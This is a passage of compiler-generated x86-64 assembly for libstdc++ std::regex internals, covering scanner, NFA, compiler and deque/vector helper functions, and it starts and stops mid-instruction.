edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ jmp .L540 .L539: mov eax, DWORD PTR [rbp-76] .L540: mov rdx, QWORD PTR [rbp-40] mov DWORD PTR [rdx+112], eax jmp .L543 mov rbx, rax lea rax, [rbp-17] mov rdi, rax call _ZNSaISt4pairIPKciEED1Ev mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L543: add rsp, 64 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE8_M_matchEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+32] mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-8] mov esi, 0 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE7_M_mainENS9_11_Match_modeE leave ret _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEE9_M_prefixEv: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv sub rax, 2 mov rsi, rax mov rdi, rbx call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm add rsp, 24 pop rbx pop rbp ret _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEE9_M_suffixEv: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv sub rax, 1 mov rsi, rax mov rdi, rbx call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm add rsp, 24 pop rbx pop rbp ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-16] mov rax, rdx add rax, rax add rax, rdx sal rax, 3 add rax, rcx pop rbp ret _ZSt11make_sharedINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEJRKSt6localeRNSt15regex_constants18syntax_option_typeEEESt10shared_ptrIT_EDpOT0_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 48 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZSt7forwardIRNSt15regex_constants18syntax_option_typeEEOT_RNSt16remove_referenceIS3_E4typeE mov r12, rax mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZSt7forwardIRKSt6localeEOT_RNSt16remove_referenceIS3_E4typeE mov rbx, rax lea rax, [rbp-17] mov rdi, rax call _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC1Ev mov rax, QWORD PTR [rbp-40] lea rsi, [rbp-17] mov rcx, r12 mov rdx, rbx mov rdi, rax call _ZSt15allocate_sharedINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_EJRKSt6localeRNSt15regex_constants18syntax_option_typeEEESt10shared_ptrIT_ERKT0_DpOT1_ lea rax, [rbp-17] mov rdi, rax call _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED1Ev jmp .L556 mov rbx, rax lea rax, [rbp-17] mov rdi, rax call _ZNSaINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L556: mov rax, QWORD PTR [rbp-40] add rsp, 48 pop rbx pop r12 pop rbp ret _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EE6_M_getEv leave ret _ZNSt8__detail8_ScannerIcEC2EPKcS3_NSt15regex_constants18syntax_option_typeESt6locale: push rbp mov rbp, rsp push rbx sub rsp, 56 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov DWORD PTR [rbp-44], ecx mov QWORD PTR [rbp-56], r8 mov rax, QWORD PTR [rbp-24] mov edx, DWORD PTR [rbp-44] mov esi, edx mov rdi, rax call _ZNSt8__detail12_ScannerBaseC2ENSt15regex_constants18syntax_option_typeE mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov QWORD PTR [rax+176], rdx mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-40] mov QWORD PTR [rax+184], rdx mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZSt9use_facetIKSt5ctypeIcEERKT_RKSt6locale mov rdx, rax mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+192], rdx mov rax, QWORD PTR [rbp-24] add rax, 200 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt8__detail12_ScannerBase10_M_is_ecmaEv test al, al je .L560 mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+232], OFFSET FLAT:_ZNSt8__detail8_ScannerIcE18_M_eat_escape_ecmaEv mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+240], 0 jmp .L561 .L560: mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+232], OFFSET FLAT:_ZNSt8__detail8_ScannerIcE19_M_eat_escape_posixEv mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+240], 0 .L561: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt8__detail8_ScannerIcE10_M_advanceEv jmp .L564 mov rbx, rax mov rax, QWORD PTR [rbp-24] add rax, 200 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L564: add rsp, 56 pop rbx pop rbp ret _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEEC2IS8_vEEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EEC1Ev nop leave ret _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EE6_M_getEv leave ret _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC2ERNS_4_NFAIS3_EEl: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov QWORD PTR [rax+16], rdx nop pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE23_M_insert_subexpr_beginEv: push rbp mov rbp, rsp push rbx sub rsp, 136 mov QWORD PTR [rbp-136], rdi mov rax, QWORD PTR [rbp-136] mov rax, QWORD PTR [rax+40] lea rcx, [rax+1] mov rdx, QWORD PTR [rbp-136] mov QWORD PTR [rdx+40], rcx mov QWORD PTR [rbp-72], rax mov rax, QWORD PTR [rbp-136] lea rdx, [rbp-72] mov rsi, rdx mov rdi, rax call _ZNSt6vectorImSaImEE9push_backERKm lea rax, [rbp-128] mov esi, 8 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE mov rax, QWORD PTR [rbp-72] mov QWORD PTR [rbp-112], rax lea rax, [rbp-128] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-136] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-128] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L575 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev jmp .L572 mov rbx, rax .L572: lea rax, [rbp-128] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L575: add rsp, 136 pop rbx pop rbp ret _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rbx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+16] mov rsi, rax mov rdi, rdx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rax+8], rbx mov rax, QWORD PTR [rbp-24] mov rdx, QWORD PTR [rbp-32] mov QWORD PTR [rax+16], rdx nop add rsp, 24 pop rbx pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_disjunctionEv: push rbp mov rbp, rsp push r12 push rbx sub rsp, 112 mov QWORD PTR [rbp-120], rdi mov rax, QWORD PTR [rbp-120] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_alternativeEv .L579: mov rax, QWORD PTR [rbp-120] mov esi, 19 mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE test al, al je .L580 lea rax, [rbp-80] mov rdx, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-120] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_alternativeEv lea rax, [rbp-112] mov rdx, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_dummyEv mov QWORD PTR [rbp-24], rax mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-80] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-112] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendEl mov rax, QWORD PTR [rbp-120] lea rbx, [rax+304] mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax mov rdx, QWORD PTR [rbp-72] mov rax, QWORD PTR [rbp-104] mov ecx, 0 mov rsi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE13_M_insert_altEllb mov r12, rax mov rax, QWORD PTR [rbp-120] add rax, 256 mov rdi, rax call _ZNKSt19__shared_ptr_accessINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEdeEv mov rsi, rax mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-48] mov rcx, rdx mov rdx, r12 mov rdi, rax call _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEC1ERNS_4_NFAIS3_EEll lea rax, [rbp-48] mov rsi, rax mov rdi, rbx call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE4pushEOS5_ jmp .L579 .L580: nop add rsp, 112 pop rbx pop r12 pop rbp ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE14_M_match_tokenENS_12_ScannerBase7_TokenTE: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov DWORD PTR [rbp-12], esi mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNKSt8__detail8_ScannerIcE12_M_get_tokenEv cmp DWORD PTR [rbp-12], eax sete al test al, al je .L582 mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNKSt8__detail8_ScannerIcE12_M_get_valueB5cxx11Ev mov rdx, rax mov rax, QWORD PTR [rbp-8] add rax, 272 mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSERKS4_ mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNSt8__detail8_ScannerIcE10_M_advanceEv mov eax, 1 jmp .L583 .L582: mov eax, 0 .L583: leave ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE6_M_popEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] add rax, 304 mov rdi, rax call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE3topEv mov rsi, rax mov rcx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rsi] mov rdx, QWORD PTR [rsi+8] mov QWORD PTR [rcx], rax mov QWORD PTR [rcx+8], rdx mov rax, QWORD PTR [rsi+16] mov QWORD PTR [rcx+16], rax mov rax, QWORD PTR [rbp-16] add rax, 304 mov rdi, rax call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEE3popEv nop mov rax, QWORD PTR [rbp-8] leave ret _ZNSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEE9_M_appendERKS4_: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rax, QWORD PTR [rbp-32] mov rbx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-24] mov rax, QWORD PTR [rax+16] mov rsi, rax mov rdi, rdx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rax+8], rbx mov rax, QWORD PTR [rbp-32] mov rdx, QWORD PTR [rax+16] mov rax, QWORD PTR [rbp-24] mov QWORD PTR [rax+16], rdx nop add rsp, 24 pop rbx pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE21_M_insert_subexpr_endEv: push rbp mov rbp, rsp push rbx sub rsp, 120 mov QWORD PTR [rbp-120], rdi lea rax, [rbp-112] mov esi, 9 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE mov rax, QWORD PTR [rbp-120] mov rdi, rax call _ZNSt6vectorImSaImEE4backEv mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-96], rax mov rax, QWORD PTR [rbp-120] mov rdi, rax call _ZNSt6vectorImSaImEE8pop_backEv lea rax, [rbp-112] mov rdi, rax call _ZSt4moveIRNSt8__detail6_StateIcEEEONSt16remove_referenceIT_E4typeEOS5_ mov rdx, rax lea rax, [rbp-64] mov rsi, rdx mov rdi, rax call _ZNSt8__detail6_StateIcEC1EOS1_ lea rdx, [rbp-64] mov rax, QWORD PTR [rbp-120] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx jmp .L593 mov rbx, rax lea rax, [rbp-64] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev jmp .L590 mov rbx, rax .L590: lea rax, [rbp-112] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L593: add rsp, 120 pop rbx pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE16_M_insert_acceptEv: push rbp mov rbp, rsp push rbx sub rsp, 88 mov QWORD PTR [rbp-88], rdi lea rax, [rbp-80] mov esi, 12 mov rdi, rax call _ZNSt8__detail6_StateIcEC1ENS_7_OpcodeE lea rdx, [rbp-80] mov rax, QWORD PTR [rbp-88] mov rsi, rdx mov rdi, rax call _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE15_M_insert_stateENS_6_StateIcEE mov QWORD PTR [rbp-24], rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, QWORD PTR [rbp-24] jmp .L598 mov rbx, rax lea rax, [rbp-80] mov rdi, rax call _ZNSt8__detail6_StateIcED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L598: add rsp, 88 pop rbx pop rbp ret _ZNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEE18_M_eliminate_dummyEv: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-40], rdi mov rax, QWORD PTR [rbp-40] mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-8] add rax, 56 mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE5beginEv mov QWORD PTR [rbp-24], rax mov rax, QWORD PTR [rbp-8] add rax, 56 mov rdi, rax call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EE3endEv mov QWORD PTR [rbp-32], rax .L609: lea rdx, [rbp-32] lea rax, [rbp-24] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxneIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEEbRKNS_17__normal_iteratorIT_T0_EESD_ test al, al je .L610 lea rax, [rbp-24] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEdeEv mov QWORD PTR [rbp-16], rax .L604: mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax+8] test rax, rax js .L601 mov rax, QWORD PTR [rbp-40] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax+8] mov rsi, rax mov rdi, rdx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov rdi, rax call _ZNKSt8__detail6_StateIcE9_M_opcodeEv cmp eax, 10 jne .L601 mov eax, 1 jmp .L602 .L601: mov eax, 0 .L602: test al, al je .L603 mov rax, QWORD PTR [rbp-40] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax+8] mov rsi, rax mov rdi, rdx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax+8], rdx jmp .L604 .L603: mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZNSt8__detail11_State_base10_M_has_altEv test al, al je .L605 .L608: mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax+16] test rax, rax js .L606 mov rax, QWORD PTR [rbp-40] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax+16] mov rsi, rax mov rdi, rdx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov rdi, rax call _ZNKSt8__detail6_StateIcE9_M_opcodeEv cmp eax, 10 jne .L606 mov eax, 1 jmp .L607 .L606: mov eax, 0 .L607: test al, al je .L605 mov rax, QWORD PTR [rbp-40] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-16] mov rax, QWORD PTR [rax+16] mov rsi, rax mov rdi, rdx call _ZNSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax+16], rdx jmp .L608 .L605: lea rax, [rbp-24] mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt8__detail6_StateIcEESt6vectorIS3_SaIS3_EEEppEv jmp .L609 .L610: nop leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE11_Deque_implD2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSaINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEEED2Ev nop leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] test rax, rax je .L613 mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+72] lea rdx, [rax+8] mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+40] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE16_M_destroy_nodesEPPS5_S9_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE17_M_deallocate_mapEPPS5_m .L613: mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE11_Deque_implD1Ev nop leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE5beginEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] lea rdx, [rax+16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EC1ERKS8_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE3endEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] lea rdx, [rax+48] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt15_Deque_iteratorINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEERS5_PS5_EC1ERKS8_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt11_Deque_baseINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE19_M_get_Tp_allocatorEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EE15_M_destroy_dataESt15_Deque_iteratorIS5_RS5_PS5_ESB_RKS6_: push rbp mov rbp, rsp mov QWORD PTR [rbp-72], rdi mov QWORD PTR [rbp-80], rsi mov QWORD PTR [rbp-88], rdx mov QWORD PTR [rbp-96], rcx nop pop rbp ret _ZSt4moveIRSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEEONSt16remove_referenceIT_E4typeEOSA_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt10shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEC2IS5_vEEOS_IT_E: push rbp mov rbp, rsp push rbx sub rsp, 24 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov rbx, QWORD PTR [rbp-24] mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt4moveIRSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEEONSt16remove_referenceIT_E4typeEOSA_ mov rsi, rax mov rdi, rbx call _ZNSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EEC2IS5_vEEOS_IT_LS8_2EE nop add rsp, 24 pop rbx pop rbp ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE12_Vector_implC2ERKS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSaINSt7__cxx119sub_matchIPKcEEEC2ERKS4_ mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+8], 0 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax+16], 0 nop leave ret _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE13_M_deallocateEPS4_m: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-16], 0 je .L627 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rsi, rcx mov rdi, rax call _ZNSt16allocator_traitsISaINSt7__cxx119sub_matchIPKcEEEE10deallocateERS5_PS4_m .L627: nop leave ret _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEEEvT_S6_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt12_Destroy_auxILb1EE9__destroyIPNSt7__cxx119sub_matchIPKcEEEEvT_S8_ nop leave ret _ZNKSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EEcvbEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] test rax, rax setne al pop rbp ret _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EE6_M_getEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt12__shared_ptrIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EE3getEv leave ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE6resizeEm: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv cmp QWORD PTR [rbp-16], rax seta al test al, al je .L634 mov rax, QWORD PTR [rbp-8] mov rdi, rax call 